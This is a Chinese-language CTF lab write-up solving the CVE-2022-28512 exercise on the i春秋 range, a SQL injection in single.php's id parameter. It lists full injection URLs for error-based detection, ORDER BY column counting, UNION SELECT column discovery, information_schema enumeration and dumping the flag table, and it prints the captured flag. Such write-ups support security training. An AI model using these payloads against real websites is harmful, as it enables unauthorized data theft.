文章

春秋云境CVE-2022-28512

春秋云境CVE-2022-28512

首先根据提示试一下单引号,发现报错,发现注入点

http://eci-2zef93ezdsi06hn3qw9l.cloudeci1.ichunqiu.com/single.php?id=1'

截屏2024-04-12 12.53.21.png

使用order by 查询字段有几个,到10后会报错

http://eci-2zef93ezdsi06hn3qw9l.cloudeci1.ichunqiu.com/single.php?id=1' order by 10 --+

截屏2024-04-12 13.03.40.png

截屏2024-04-12 13.08.41.png

所以我们知道他有9个字段,接下来查看回显的字段,这里回显时要让id=false,后面语句才会执行

http://eci-2zef93ezdsi06hn3qw9l.cloudeci1.ichunqiu.com/single.php?id=-1' union select 1, 2,3,4,5,6,7,8,9 --+

截屏2024-04-12 13.12.22.png

2和4 位置有回显

截屏2024-04-12 13.09.37.png

然后利用2,4位置回显当前数据库名称和路径,下面得到列名,字符需要用到16进制

http://eci-2zef93ezdsi06hn3qw9l.cloudeci1.ichunqiu.com/single.php?id=-4'union select 1,hex(group_concat(column_name)),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name=0x666C6167--+

截屏2024-04-12 13.20.50.png

最后可以直接得到flag

http://eci-2zef93ezdsi06hn3qw9l.cloudeci1.ichunqiu.com/single.php?id=-4'union select 1,concat(flag),3,4,5,6,7,8,9 from flag --+

flag{b9f7893b-3a42-4f37-a0b4-36612c8db4b5}

截屏2024-04-12 13.25.41.png

License:  CC BY 4.0